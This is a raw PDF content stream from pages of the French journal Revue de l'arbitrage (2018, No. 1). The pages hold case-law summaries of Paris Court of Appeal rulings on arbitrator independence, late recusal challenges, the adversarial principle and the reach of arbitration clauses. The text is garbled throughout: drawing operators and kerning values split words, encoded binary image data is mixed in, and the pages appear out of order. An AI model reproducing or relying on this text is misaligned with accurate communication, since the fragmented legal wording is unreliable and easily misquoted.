d\222a)-9(ppel de P)55(aris \(P\364le)]TJ /Span<>> BDC ( )Tj EMC (1)Tj /Span<>> BDC ( )Tj EMC (\226)Tj /Span<>> BDC ( )Tj EMC (Ch.)Tj /Span<>> BDC 20.744 0 Td ( )Tj EMC [(1\),)37( 19 d\351cembr)10(e 2017,)37( )]TJ /T1_0 1 Tf [(M.)55( Sabri)3( )]TJ 0 Tc 0.075 Tw -20.744 -1.075 Td [(Demmane c/ M.)55( Bruno P)55(arentg de P)55(etko)18(wski d\222Ostoja et autres)]TJ /T1_2 1 Tf 0.603 Tw 0 -1.797 Td [(Arbitre.)55( \227 Constitution d)37(u )25(trib)18(un)18(al )25(arbitral.)55( \227 Ind\351pend)18(ance et )]TJ 0.482 Tw 2.126 -1.075 Td [(imp)55(ar)10(tialit\351.)55( \227 )55(Ar)10(t)37(.)55( 1466 CPC.)55( \227 N\351cessit\351 d\222inv)6(oquer le grief )]TJ 0.967 Tw 0 -1.075 TD (en)Tj /Span<>> BDC ( )Tj EMC 2.303 0 Td [(temps utile.)55( \227 )55(All\351ga)54(tion de d\351f)35(a)37(ut de d\351clara)54(tion )]TJ 0.876 Tw -2.303 -1.075 Td [(d\222ind\351pend)18(ance.)55( )1(\227 )1(D\351clara)54(tion )1(d\222absence )1(de )1(lien )25(a)80(vec )1(les )]TJ 0.075 Tw T* [(p)55(ar)10(ties)24(.)55( \227 )55(Absence de formalisme.)]TJ 0.412 Tw -2.126 -1.797 Td [(Principe de la contradiction)25(.)55( \227 )55(All\351ga)54(tion de d\351p\364t de conclusions )]TJ 0.554 Tw 2.126 -1.075 Td [(t)25(ardif)92(.)55( \227 C)18(alendrier de pr)6(oc\351d)37(ure d\351c)18(al\351 p)55(ar un malentend)37(u)25(.)55( )]TJ 0.46 Tw T* [(\227 )55(Absence de f)35(ait ou )25(argument nouvea)37(u d)18(ans les conclusions)24(.)55( )]TJ 0.667 Tw T* [(\227 Pr)6(od)37(uction de pi\350ces p)55(ar les demandeur)10(s en d\351lib\351r\351.)55( \227 )]TJ 0.075 Tw T* [(Ar)10(t)37(.)]TJ /Span<>> BDC 1.93 0 Td ( )Tj EMC [(1476 )25(al.)55( 2 CPC.)55( \227 Respect d)37(u principe de la contradiction)25(.)]TJ 0.433 Tw -4.056 -1.797 Td [(Recour)10(s en )25(annula)54(tion)25(.)55( \227 1\260\) )55(Ar)10(t)37(.)55( 1492-2\260 CPC.)55( \227 Constitution d)37(u )]TJ 0.52 Tw 2.126 -1.075 Td [(trib)18(un)18(al )24(arbitral.)55( \227 Ind\351pend)18(ance et imp)55(ar)10(tialit\351.)55( \227 )55(Ar)10(t)37(.)55( 1466 )]TJ 0.22 Tw T* [(CPC.)55( \227 N\351cessit\351 d\222inv)6(oquer le grief en )25(temps utile.)55( \227 )55(All\351ga)54(tion )]TJ 1.067 Tw T* [(de d\351f)35(a)37(ut )1(de d\351clara)54(tion )1(d\222ind\351pend)18(ance.)55( \227 )1(D\351clara)54(tion )]TJ 0.403 Tw 0 -1.075 TD [(d\222absence de lien )25(a)80(vec les p)55(ar)10(ties)24(.)55( \227 )55(Absence de formalisme.)55( \227 )]TJ 0.313 Tw 0 -1.075 TD [(Rejet d)37(u grief)92(.)55( \227 2\260\) )55(Ar)10(t)37(.)55( 1492-3\260 CPC.)55( \227 )55(Arbitre.)55( \227 Mission)25(.)55( \227 )]TJ 0.457 Tw 0 -1.075 TD [(Amiable composition)25(.)55( \227 3\260\) )55(Ar)10(t)37(.)55( 1492-4\260 CPC.)55( \227 Principe de la )]TJ 0.726 Tw T* [(contradiction)25(.)55( \227 )55(All\351ga)54(tion de d\351p\364t de conclusions )25(t)25(ardif)92(.)55( )]TJ 0.793 Tw T* [(\227 C)18(alendrier de pr)6(oc\351d)37(ure d\351c)18(al\351 p)55(ar un malentend)37(u)25(.)55( \227 )]TJ 0.454 Tw 0 -1.075 TD [(Absence de f)35(ait ou )25(argument nouvea)37(u d)18(ans les conclusions)24(.)55( \227 )]TJ 0.288 Tw 0 -1.075 TD [(Pr)6(od)37(uction de pi\350ces p)55(ar les demandeur)10(s en d\351lib\351r\351.)55( \227 )55(Ar)10(t)37(.)]TJ /Span<>> BDC 30.415 0 Td ( )Tj EMC (1476 )Tj 0.732 Tw -30.415 -1.075 Td [(al.)55( 2 CPC.)55( \227 Respect d)37(u principe de la contradiction)25(.)55( \227 )]TJ 0.416 Tw 0 -1.075 TD (4\260\))Tj /Span<>> BDC ( )Tj EMC 1.9 0 Td [(Ar)10(t)37(.)]TJ /Span<>> BDC 1.93 0 Td ( )Tj EMC [(1492-5\260 CPC.)55( \227 )55(V)55(iola)54(tion de l)95(\222ordre public)18(.)55( \227 )55(Amiable )]TJ 0.283 Tw -3.83 -1.075 Td [(composition)25(.)55( \227 Mo)35(yen irrecev)74(able.)55( )1(\227 5\260\) )55(Ar)10(t)37(.)55( 1480 et 1492-6\260 CPC.)55( )]TJ 0.577 Tw 0 -1.075 TD [(\227 )1(D\351f)35(a)37(ut de )1(mention )1(rela)54(tive )1(\340 )1(la majorit\351 )1(des )25(arbitres)24(.)55( )1(\227 )]TJ 0.68 Tw 0 -1.075 TD [(Sign)18(a)54(ture des )25(tr)6(ois )25(arbitres sur la sentence.)55( \227 Pr\351somption )]TJ 0.31 Tw 0 -1.075 TD (de)Tj /Span<>> BDC ( )Tj EMC [(majorit\351.)55( \227 6\260\) )55(Absence de formule \253)]TJ /Span<>> BDC ( )Tj EMC 20.8 0 Td [(apr\350s en )25(a)80(v)6(oir d\351lib\351r\351)]TJ /Span<>> BDC ( )Tj EMC 11.653 0 Td (\273 )Tj ET endstream endobj 75 0 obj <>stream 8;Z\6;3o'A%*W/V2toO0Y-X@'L-V_Veb/aEd9<=_-HRshrSJY6$lZSE\A![:En&+c ?:]aRS6=FP&*p:B4&I6;40ImZk4Ie,&)>?VMAgc2c[c10^:b&LF&[+2puS'Yc![-b b``h+!b"IQd%ar&V9"+(h<)Q6;bGK`9l4dM:Nj$`*+^@Cj:R*EnaRb,m2h6&HBZb>M71ZOhZSo M0uLoaDY)*8o;W:eN7^U7;#BF,Pcd^b:fd`A(L6m>Kr45-t;4LK?HZ.*.G95;_Bo6*1dU<\+!^$e&ojXQ^\CB#+5 GZ'!&SP!tFHe0$4B(?/@_Y;3!WuP"O'9o2PXF[mqnLXlh7a&p-Bhes%&Uh$ej[%F- !,Gn;]BdDT9r+-]`3SR$rbG'T_>_-c*c)um7UPQ/g_YB?&#+:"*nY10A1#e;idUmp Y*Z[C:e.;;D^57h%98ONYn!7>B(sW88%fM7%;Vhj7Z-1'*^rNqC<-4Yr endstream endobj 72 0 obj <>stream BT 0 0 0 1 k /GS0 gs /T1_0 1 Tf 0.125 Tw 7 0 0 7 229.6853 34.2601 Tm (Revue de l\222arbitrage )Tj /T1_1 1 Tf 0.25 Tw (2018)Tj /Span<>> BDC ( )Tj EMC (-)Tj /Span<>> BDC ( )Tj EMC (N\260)Tj /Span<>> BDC ( )Tj EMC 14.067 0 Td (1)Tj 0.075 Tw /Span<>> BDC 6.5 0 0 6.5 51.0236 543.0812 Tm ( )Tj EMC 12.654 0 Td [(SOMMAIRES DE JURISPR)37(UDE)]TJ /Span<>> BDC (N)Tj EMC (CE)Tj /Span<>> BDC ( )Tj EMC 0 Tw 9 0 0 9 317.7026 543.0812 Tm (291)Tj ET 0 0 0 1 K 0.283 w q 1 0 0 1 162.9926 268.7129 cm 0 0 m 56.692 0 l S Q BT /T1_0 1 Tf 0.062 Tw 8 0 0 8 51.0236 518.2095 Tm [(ex)18(erc\351 de recours en r\351cusation dans le d\351lai du r\350glement CCI\ fix\351 \340 trente jours )]TJ 0.07 Tw 0 -1.075 TD (\340 partir de la notification de la d\351signation de cet arbitre n\222\ est plus recevable \340 se )Tj 0.075 Tw T* (pr\351valoir des m\352mes griefs devant le juge de l\222annulation.)Tj 0.099 Tw 1.063 -1.793 Td [(Le )1(recourant a)18(yant,)55( )1(en )1(connaissance )1(de )1(cause)25(,)55( )1(renonc\351 )1(\340 )1(former )1(une )1(demande )]TJ 0.076 Tw -1.063 -1.075 Td [(de r\351cusation fond\351e sur les propos de l\222arbitre au cours de l\222\ arbitrage)25(,)55( est r\351put\351 )]TJ 0.075 Tw T* (avoir renonc\351 \340 se pr\351valoir de ce grief devant le juge de l\222\ annulation.)Tj 0.158 Tw 1.063 -1.793 Td (Le principe de la contradiction exige seulement que les parties aient pu\ faire )Tj 0.115 Tw -1.063 -1.075 Td (conna\356tre leurs pr\351tentions de fait et de droit et discuter celles\ de leur adversaire )Tj 0.199 Tw T* (de telle sorte que rien de ce qui a servi \340 fonder la d\351cision des\ arbitres n\222ait )Tj 0.075 Tw T* [(\351c)12(happ\351 \340 leur d\351bat contradictoire)25(.)]TJ 0.029 Tw 1.063 -1.793 Td [(La )1(dur\351e )1(et )1(la consistance )1(des )1(auditions )1(de )1(t\351moins )1(ou de )1(parties )1(peuvent )1(varier )]TJ 0.057 Tw -1.063 -1.075 Td (en fonction de la question en litige et de la pertinence des t\351moigna\ ges sans qu\222en )Tj 0.075 Tw 0 -1.075 TD [(r\351sulte une atteinte aux droits de la d\351fense et \340 l\222\351gal\ it\351 des armes)55(.)]TJ 0.229 Tw 1.063 -1.793 Td [(Le fait que le demandeur ait tenu des propos \351trangers au litige)25(,)55( ou m\352me )]TJ 0.148 Tw -1.063 -1.075 Td [(d\351sobligeants)55(,)55( ne constitue pas une atteinte )1(au principe du contradictoire ni aux )]TJ 0.075 Tw 0 -1.075 TD [(droits de la d\351fense)25(,)55( d\350s lors que l\222autre partie \351tait en mesure d\222y r\351pondre\ )25(.)]TJ 0.13 Tw 1.063 -1.793 Td [(Le nombre d\222avocats assistant c)12(hacune des parties \351tait laiss\351 \340 l\222appr\351ciation )]TJ -0.028 Tw -1.063 -1.075 Td [(de c)12(hacune d\222elles et est sans influence sur le respect du principe de la\ contradiction.)]TJ 0.185 Tw 1.063 -1.793 Td [(L)92(\222all\351gation )1(d\222un )1(renversement )1(de )1(la )1(c)12(harge )1(de )1(la preuve )1(quant \340 )1(l\222intention )]TJ 0.174 Tw -1.063 -1.075 Td (d\222\351tendre la clause compromissoire invite la cour \340 une r\351vi\ sion au fond de la )Tj 0.075 Tw T* (sentence qui n\222est pas permise au juge de l\222annulation.)Tj /T1_1 1 Tf 0.154 Tw 1.063 -1.793 Td [(N\260 r\351p)40(.)55( g\351n.)]TJ /Span<>> BDC 5.337 0 Td ( )Tj EMC 0.25 0 Td [(:)55( 16/00194.)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 151.576 300.5934 Tm (me)Tj 8 0 0 8 160.1072 297.3934 Tm ( )Tj /T1_2 1 Tf 0.404 0 Td (Guihal)Tj /T1_1 1 Tf 0.154 Tw [(,)55( pr\351s)55(.,)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 223.8121 300.5934 Tm (me)Tj 8 0 0 8 232.3432 297.3934 Tm ( )Tj /T1_2 1 Tf -0.074 Tc 0.074 Tw 0.404 0 Td [(S)-56(a)-74(lva)-74(r)-37(y)]TJ /T1_1 1 Tf -0.055 Tc 0.209 Tw 3.374 0 Td (, )Tj /Span<>> BDC (M)Tj EMC 1.543 0 Td (. )Tj /T1_2 1 Tf 0 Tc 0 Tw [(Lec)18(ar)6(oz,)]TJ /T1_1 1 Tf 0.154 Tw 4.605 0 Td [( cons)55(.)55( )]TJ 0.078 Tw -32.59 -1.075 Td (\227 )Tj /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 69.2025 291.9934 Tm (es)Tj 8 0 0 8 74.892 288.7934 Tm ( )Tj /T1_2 1 Tf 0.023 Tw 0.328 0 Td [(Kannoun)25(,)55( Alix )]TJ /T1_1 1 Tf 0 Tw 7.278 0 Td (et)Tj /T1_2 1 Tf 0.078 Tw ( Pinsolle)Tj /T1_1 1 Tf [(,)55( av)92(.)55( \227 )]TJ /Span<>> BDC (D)Tj EMC (\351cision attaqu\351e)Tj /Span<>> BDC ( )Tj EMC 16.635 0 Td [(:)55( )]TJ /Span<>> BDC (S)Tj EMC (entence rendue )Tj 0.075 Tw -27.225 -1.075 Td (\340 )Tj /Span<>> BDC (P)Tj EMC [(aris le 17 novembre 2015.)55( \227 )]TJ /Span<>> BDC (R)Tj EMC (ejet.)Tj /T1_3 1 Tf 0.091 Tw 0 -3.919 TD [([2018/02] Cour d\222a)-10(ppel de P)55(aris \(P\364le)]TJ /Span<>> BDC ( )Tj EMC (1)Tj /Span<>> BDC ( )Tj EMC (\226)Tj /Span<>> BDC ( )Tj EMC (Ch.)Tj /Span<>> BDC 20.346 0 Td ( )Tj EMC [(1\),)37( 5 d\351cembr)10(e 2017,)37( )]TJ /T1_0 1 Tf 0 Tw (R\351publique )Tj 0.075 Tw -20.346 -1.075 Td [(T)92(ogolaise c/ SAS )55(Accor )55(Afrique et autres)]TJ /T1_2 1 Tf 0.595 Tw 0 -1.793 TD [(Arbitra)18(ge intern)18(a)54(tion)18(al.)55( \227 Recour)10(s en )25(annula)54(tion)25(.)55( \227 )55(Arbitre.)55( \227 )]TJ 0.608 Tw 2.126 -1.075 Td [(Comp\351tence d)37(u )25(trib)18(un)18(al )25(arbitral.)55( \227 Cla)37(use compr)6(omissoire.)55( \227 )]TJ 0.708 Tw 0 -1.075 TD [(Por)10(t\351e de la cla)37(use compr)6(omissoire.)55( \227 Interpr\351t)25(a)54(tion de la )]TJ 0.556 Tw T* [(cla)37(use.)55( \227 )1(Recher)6(che )1(de la commune )1(intention )1(des p)55(ar)10(ties)24(.)55( \227 )]TJ 0.075 Tw T* [(Effet utile.)55( \227 )55(V)110(olont\351 des p)55(ar)10(ties de recourir \340 l)95(\222arbitra)18(ge.)]TJ 0.536 Tw -2.126 -1.793 Td [(Cla)37(use compr)6(omissoire.)55( \227 )55(Arbitra)18(ge intern)18(a)54(tion)18(al.)55( \227 Por)10(t\351e de la )]TJ 0.988 Tw 2.126 -1.075 Td [(cla)37(use compr)6(omissoire.)55( \227 Interpr\351t)25(a)54(tion de la cla)37(use.)55( \227 )]TJ 0.465 Tw T* [(Recher)6(che de la commune intention des p)55(ar)10(ties)24(.)55( \227 Effet utile.)55( )]TJ 0.075 Tw T* [(\227 )55(V)110(olont\351 des p)55(ar)10(ties de recourir \340 l)95(\222arbitra)18(ge.)]TJ 0.551 Tw -2.126 -1.793 Td [(Recour)10(s en )25(annula)54(tion)25(.)55( \227 )55(Arbitra)18(ge intern)18(a)54(tion)18(al.)55( \227 )55(Ar)10(t)37(.)55( 1520-1\260 )]TJ 0.453 Tw 2.126 -1.075 Td [(CPC.)55( \227 )55(Arbitre.)55( \227 Comp\351tence d)37(u )25(trib)18(un)18(al )25(arbitral.)55( \227 Por)10(t\351e )]TJ 0.472 Tw T* [(de la cla)37(use compr)6(omissoire.)55( \227 Interpr\351t)25(a)54(tion de la cla)37(use.)55( \227 )]TJ 0.465 Tw T* [(Recher)6(che de la commune intention des p)55(ar)10(ties)24(.)55( \227 Effet utile.)55( )]TJ 0.075 Tw T* [(\227 )55(V)110(olont\351 des p)55(ar)10(ties de recourir \340 l)95(\222arbitra)18(ge.)55( \227 Rejet)37(.)]TJ /T1_0 1 Tf 0.407 Tw -1.063 -1.793 Td (Le juge de l\222annulation contr\364le la d\351cision du tribunal arbitr\ al sur sa )Tj 0.14 Tw -1.063 -1.075 Td [(comp\351tence)25(,)55( qu\222il se soit d\351clar\351 comp\351tent ou incomp\351tent,)55( en rec)12(herc)12(hant tous )]TJ 0.089 Tw T* (les \351l\351ments de droit ou de fait permettant d\222appr\351cier la p\ ort\351e de la convention )Tj 0.136 Tw T* (d\222arbitrage et d\222en d\351duire les cons\351quences sur le respect \ de la mission confi\351e )Tj 0.075 Tw T* [(aux arbitres)55(.)]TJ ET endstream endobj 73 0 obj <>stream 8;Z\6>ET(3#im]=p&34RF]Pb5Hq`(&@s3?fPVZoE6St *ULJZ#qpC*-PL'BH`a!Tr-i"#-0cPtd,1]g-8QKP5o\G4cA\8AV,)EnIGrGCPpXpc +5,NA"Q#jg)s[0]_/!q%jsn'8q5CoapWLX`pJU[$oe*B?okU+6@;X/d16JPI5S%:6 +$"XhX1C6hhqu=Uq&3J3iGEJMIPWlnDh7Lu4NU]:7>'9kFm(tkA>IrR-1h2";;'M4 I\Ko7^XO*']Y2d!+[9S)_'@Q]'[QHCX?id05ReX?lkGeo,PE4">mC%Gf10o3BH"Bq 2fJ9cjK:jGI5TP3bO25ZSn5,/jSLqu43uTT&%h+B-L@Y3kZ"/Z/L.`]\mGfNht]H\ Sp")bbS)*qTt10ADB1es,.K*Y.ElVGP14^/>7[YtAmtK/26cZMFXniJFQCKhM(Pn$ O!c7u`JiADB8?MGo@LE@Xm5ha8Y@*[RSFg5n:mC;lp@tll!a&XTSf !s#X^X%W~> endstream endobj 70 0 obj <>stream BT 0 0 0 1 k /GS0 gs /T1_0 1 Tf 0.125 Tw 7 0 0 7 51.0236 34.2601 Tm (Revue de l\222arbitrage )Tj /T1_1 1 Tf 0.25 Tw (2018)Tj /Span<>> BDC ( )Tj EMC (-)Tj /Span<>> BDC ( )Tj EMC (N\260)Tj /Span<>> BDC ( )Tj EMC 14.067 0 Td (1)Tj 0 Tw 9 0 0 9 51.0236 543.0812 Tm (290)Tj /Span<>> BDC ( )Tj EMC 0.075 Tw 6.5 0 0 6.5 132.3091 543.0812 Tm [(SOMMAIRES DE JURISPR)37(UDE)]TJ /Span<>> BDC (N)Tj EMC (CE)Tj /T1_2 1 Tf 0.89 Tw 8 0 0 8 68.0315 518.3295 Tm [(suffis)25(amment larges pour englober les diff\351rends n\351s des )]TJ 0.432 Tw 0 -1.075 TD [(a)18(ccords p)55(ar)10(ticulier)10(s)24(.)55( \227 Commune intention des p)55(ar)10(ties d\222\351tendre )]TJ 0.075 Tw T* [(la cla)37(use compr)6(omissoire.)]TJ 0.419 Tw -2.126 -1.435 Td [(Recour)10(s )1(en )26(annula)54(tion)25(.)55( )1(\227 )55(Arbitra)18(ge )1(intern)18(a)54(tion)18(al.)55( )1(\227 )1(1\260\) )56(Ar)10(t)37(.)55( )1(1520-)]TJ 0.411 Tw 2.126 -1.075 Td [(1\260 CPC.)55( \227 Incomp\351tence d)37(u )25(trib)18(un)18(al )25(arbitral.)55( \227 Convention de )]TJ 0.444 Tw T* [(conseil et de consul)74(t)25(a)54(tion conten)18(ant une cla)37(use compr)6(omissoire.)55( )]TJ 0.536 Tw T* [(\227 )55(A)18(ccord )1(de r\351mun\351ra)54(tion pour )1(une mission )1(d\222a)18(ssist)25(ance )1(pour )]TJ 0.663 Tw T* [(la cession d\222a)18(ctions)24(.)55( \227 )55(A)18(ccord ne conten)18(ant p)55(a)18(s de cla)37(use )]TJ 0.532 Tw T* [(compr)6(omissoire.)55( \227 Diff\351rend rela)54(tif )25(a)37(u p)55(aiement de l)95(\222honoraire )]TJ 0.432 Tw T* [(pour la mission d\222a)18(ssist)25(ance.)55( \227 Recev)74(abilit\351.)55( \227 )55(A)18(cte de mission )]TJ 0.856 Tw T* [(conten)18(ant une contest)25(a)54(tion g\351n\351rale de la comp\351tence.)55( \227 )]TJ 0.582 Tw T* [(Absence )1(de )25(v)6(olont\351 )1(claire )1(et )1(non )1(\351quiv)6(oque )1(de )1(conclure )1(un )]TJ 0.812 Tw T* [(compr)6(omis reconn)18(aiss)25(ant la comp\351tence d)37(u )25(trib)18(un)18(al )25(arbitral.)55( )]TJ 0.352 Tw T* [(\227 Mo)35(yen soulev\351 en )25(temps utile.)55( \227 Convention-c)18(adre.)55( \227 )55(T)55(ermes )]TJ 0.515 Tw T* [(de la cla)37(use compr)6(omissoire suffis)25(amment larges pour englober )]TJ 1.014 Tw T* [(les diff\351rends n\351s des )25(a)18(ccords p)55(ar)10(ticulier)10(s)24(.)55( \227 Commune )]TJ 0.779 Tw 0 -1.075 TD [(intention )1(des )1(p)55(ar)10(ties )1(d\222\351tendre )1(la )1(cla)37(use )1(compr)6(omissoire.)55( )1(\227 )]TJ 0.241 Tw 0 -1.075 TD [(Rejet d)37(u mo)35(yen)25(.)55( \227 2\260\) )55(Ar)10(t)37(.)55( 1520-2\260 CPC.)55( \227 )55(Arbitre.)55( \227 Imp)55(ar)10(tialit\351 )]TJ 0.533 Tw 0 -1.075 TD [(et ind\351pend)18(ance.)55( \227 Recev)74(abilit\351.)55( \227 Obliga)54(tion de soulever le )]TJ 0.755 Tw T* [(mo)35(yen d)18(ans le d\351lai fix\351 p)55(ar le r\350glement d\222arbitra)18(ge.)55( \227 )]TJ 0.02 Tc 1.066 Tw T* [(Renoncia)54(tion \340 se pr\351v)74(aloir d)37(u grief )25(tir\351 d)37(u d\351f)35(a)37(ut)20( )]TJ 0 Tc 0.309 Tw 0 -1.075 TD [(d\222ind\351pend)18(ance.)55( \227 Griefs irrecev)74(ables)24(.)55( \227 3\260\) )55(Ar)10(t)37(.)55( 1520-3\260 CPC.)55( \227 )]TJ 0.64 Tw 0 -1.075 TD [(Mission de l)95(\222arbitre.)55( \227 )55(All\351ga)54(tion de refus d\222applic)18(a)54(tion d)37(u )]TJ 0.221 Tw 0 -1.075 TD [(dr)6(oit d\351sign\351 p)55(ar la cla)37(use.)55( \227 Grief non fond\351.)55( \227 4\260\) )55(Ar)10(t)37(.)55( 1520-4\260 )]TJ 1.317 Tw T* [(CPC.)55( \227 Principe de la contradiction)25(.)55( \227 )55(All\351ga)54(tion )]TJ 0.714 Tw T* [(d\222interr)6(oga)54(toires d\351s\351quilibr\351s)24(.)55( \227 )55(All\351ga)54(tion de pr)6(ononc\351 de )]TJ 0.69 Tw 0 -1.075 TD [(pr)6(opos d\351sobligeants)24(.)55( \227 Nombre d\351s\351quilibr\351 des )25(a)80(v)6(oc)18(a)54(ts des )]TJ 0.075 Tw 0 -1.075 TD [(deux p)55(ar)10(ties)24(.)55( \227 Rejet d)37(u grief)92(.)55( \227 Rejet)37(.)]TJ /T1_0 1 Tf 0.167 Tw -1.063 -1.435 Td (Il ne peut se d\351duire d\222un acte de mission qui d\351veloppe des ob\ jections \340 la )Tj 0.234 Tw -1.063 -1.075 Td [(juridiction du tribunal arbitral \340 l\222\351gar)18(d de certains seulement des d\351fendeurs)55(,)55( )]TJ 0.217 Tw T* (et)Tj /Span<>> BDC ( )Tj EMC [(tir\351es de leur qualit\351 \340 d\351fendre)25(,)55( mais aussi une contestation g\351n\351rale de la )]TJ 0.235 Tw 0 -1.075 TD [(comp\351tence )1(de toute )1(juridiction arbitrale)25(,)55( une volont\351 claire )1(et non \351quivoque )]TJ 0.218 Tw 0 -1.075 TD (de)Tj /Span<>> BDC ( )Tj EMC (conclure un compromis reconnaissant la comp\351tence du tribunal arbitra\ l \340 )Tj 0.075 Tw 0 -1.075 TD [(l\222\351gar)18(d d\222un contrat li\351.)]TJ 0.407 Tw 1.063 -1.435 Td (Le juge de l\222annulation contr\364le la d\351cision du tribunal arbitr\ al sur sa )Tj 0.14 Tw -1.063 -1.075 Td [(comp\351tence)25(,)55( qu\222il se soit d\351clar\351 comp\351tent ou incomp\351tent,)55( en rec)12(herc)12(hant tous )]TJ 0.089 Tw T* (les \351l\351ments de droit ou de fait permettant d\222appr\351cier la p\ ort\351e de la convention )Tj 0.136 Tw T* (d\222arbitrage et d\222en d\351duire les cons\351quences sur le respect \ de la mission confi\351e )Tj 0.075 Tw T* [(aux arbitres)55(.)]TJ 0.036 Tw 1.063 -1.435 Td [(La commune intention des parties a)18(yant \351t\351 d\222\351tendre la clause compromissoire )]TJ 0.086 Tw -1.063 -1.075 Td [(stipul\351e par la convention-cadre \340 un accor)18(d particulier et les termes de la clause )]TJ 0.032 Tw T* [(\351tant )1(suffisamment )1(larges )1(pour )1(englober )1(les )1(diff\351rends )1(n\351s )1(des )1(accor)18(ds )1(particuliers )]TJ 0.075 Tw T* [(conclus dans le cadre de la convention-cadre)25(.)]TJ 0.041 Tw 1.063 -1.435 Td [(La partie qui,)55( en connaissance de cause)25(,)55( s\222abstient d\222ex)18(ercer)74(,)55( dans le d\351lai pr\351vu )]TJ 0.073 Tw -1.063 -1.075 Td [(par le r\350glement d\222arbitrage applicable)25(,)55( son droit de r\351cusation,)55( en se fondant sur )]TJ 0.196 Tw T* (toute circonstance de nature \340 mettre en cause l\222ind\351pendance o\ u l\222impartialit\351 )Tj -0.055 Tw 0 -1.075 TD [(d\222un arbitre)25(,)55( est r\351put\351e avoir renonc\351 \340 s\222en pr\351valoir devant le \ juge de l\222annulation.)]TJ 0.028 Tw 1.063 -1.435 Td (Les articles de doctrine publi\351s dans lesquels l\222un des arbitres p\ rendrait parti en )Tj 0.174 Tw -1.063 -1.075 Td (faveur de l\222extension des clauses compromissoires dans les groupes de\ contrats )Tj 0.033 Tw 0 -1.075 TD (\351tant des \351l\351ments d\222information qui \351taient publics \340\ la date de d\351signation de cet )Tj 0.29 Tw 0 -1.075 TD [(arbitre)25(,)55( tout comme l\222intervention de cet arbitre dans des colloques auxquels\ )]TJ 0.28 Tw 0 -1.075 TD [(participait )1(\351galement )1(l\222une )1(des )1(parties )1(et )1(peu )1(important )1(que )1(ces )1(informations )]TJ 0.185 Tw 0 -1.075 TD [(n\222aient pas figur\351 dans la d\351claration d\222ind\351pendance)25(,)55( le recourant qui n\222a pas )]TJ ET endstream endobj 71 0 obj <>stream 8;Z\68TNiV%-(joLB##BhhaaQ9.t:LdNN\!Y-Kt/C_-_8X8ZIu('Jo.?.\8Cn>P_* &/@:]Sbc2_(L5Sdf:0#-Obn;sXRE0#CQTddOB`C;FYt_aF#*(bnG*^QNZ2GW^23kA E*l(P`kOiaKSkC,$f#M)oSD%p%2EK#e(@:eZp`HHTKh Oq-t+"2@:s^u=\I*^f6N0'/UMS9tk.h3mqrZ+;c@F[1TC8ndeD_S1+3&'%GY\5'bX f43jSor;f6GO1G`WeIHEj]IYs?N_mXhb&1I;=E!p,.RN/4[3@N(YeL?e9048B:bN& o]Qr1qoo`f)t(XJZ+"VI@Pf)\T*rD?H&iu7MbX.3^UrQ9.UapAM\kI1jaPG'&OJK2 KGt]@';!p/>XXQac1kg):N:4b/\,%@A)AMZ2\B)E?`b^I["7D>k,WXg2ubmYSu1*` ]Mc):C/P!:G@ZJ0KPclDRhr8r=KkTk@Nls0^[:,RUR&u()Y\;QkFBBk:i&k]^cd*V &Gf)!B'$f%A9J[#6+;=`2/O_*3Mk M)`Em9$AaZc69Ukj3*kcc`XGP!:11mI/~> endstream endobj 68 0 obj <>stream BT 0 0 0 1 k /GS0 gs /T1_0 1 Tf 0.125 Tw 7 0 0 7 229.6853 34.2601 Tm (Revue de l\222arbitrage )Tj /T1_1 1 Tf 0.25 Tw (2018)Tj /Span<>> BDC ( )Tj EMC (-)Tj /Span<>> BDC ( )Tj EMC (N\260)Tj /Span<>> BDC ( )Tj EMC 14.067 0 Td (1)Tj ET 0 0 0 1 K 0.567 w q 1 0 0 1 80.9727 461.4399 cm 0 0 m 220.732 0 l S Q BT /T1_0 1 Tf 0.075 Tw 18 0 0 18 80.9727 467.9399 Tm (Sommaires de jurisprudence)Tj /T1_2 1 Tf 0.084 Tw 8 0 0 8 51.0236 389.6848 Tm [([2018/01] Cour d\222a)-10(ppel de P)55(aris \(P\364le 1 \226 Ch.)37( 2\),)37( 28 no)18(v)18(embr)10(e 2017,)]TJ /T1_0 1 Tf /Span<>> BDC ( )Tj EMC [(M.)55( Sheikh )]TJ 0.075 Tw 0 -1.075 TD [(Mohamed Bin Issa )55(Al J)65(aber c/ M.)55( Sheikh Salah Inbrahim )55(Al-Hejailan)]TJ /T1_3 1 Tf 0.412 Tw 0 -1.809 TD [(Arbitra)18(ge intern)18(a)54(tion)18(al.)55( \227 Recour)10(s en )25(annula)54(tion)25(.)55( \227 1\260\) )55(Ar)10(t)37(.)55( 1520-)]TJ 0.498 Tw 2.126 -1.075 Td [(1\260 CPC.)55( \227 Comp\351tence d)37(u )25(trib)18(un)18(al )25(arbitral.)55( \227 Convention de )]TJ 0.444 Tw 0 -1.075 TD [(conseil et de consul)74(t)25(a)54(tion conten)18(ant une cla)37(use compr)6(omissoire.)55( )]TJ 0.536 Tw T* [(\227 )55(A)18(ccord )1(de r\351mun\351ra)54(tion pour )1(une )1(mission )1(d\222a)18(ssist)25(ance )1(pour )]TJ 0.663 Tw T* [(la cession d\222a)18(ctions)24(.)55( \227 )55(A)18(ccord ne conten)18(ant p)55(a)18(s de cla)37(use )]TJ 0.532 Tw T* [(compr)6(omissoire.)55( \227 Diff\351rend rela)54(tif )25(a)37(u p)55(aiement de l)95(\222honoraire )]TJ 0.432 Tw T* [(pour la mission d\222a)18(ssist)25(ance.)55( \227 Recev)74(abilit\351.)55( \227 )55(A)18(cte de mission )]TJ 0.856 Tw T* [(conten)18(ant une contest)25(a)54(tion g\351n\351rale de la comp\351tence.)55( \227 )]TJ 0.582 Tw T* [(Absence )1(de )25(v)6(olont\351 )1(claire )1(et )1(non )1(\351quiv)6(oque )1(de )1(conclure )1(un )]TJ 0.812 Tw T* [(compr)6(omis reconn)18(aiss)25(ant la comp\351tence d)37(u )25(trib)18(un)18(al )25(arbitral.)55( )]TJ 0.352 Tw T* [(\227 Mo)35(yen soulev\351 en )25(temps utile.)55( \227 Convention-c)18(adre.)55( \227 )55(T)55(ermes )]TJ 0.515 Tw T* [(de la cla)37(use compr)6(omissoire suffis)25(amment larges pour englober )]TJ 1.014 Tw T* [(les diff\351rends n\351s des )25(a)18(ccords p)55(ar)10(ticulier)10(s)24(.)55( \227 Commune )]TJ 0.779 Tw T* [(intention )1(des )1(p)55(ar)10(ties )1(d\222\351tendre )1(la )1(cla)37(use )1(compr)6(omissoire.)55( )1(\227 )]TJ 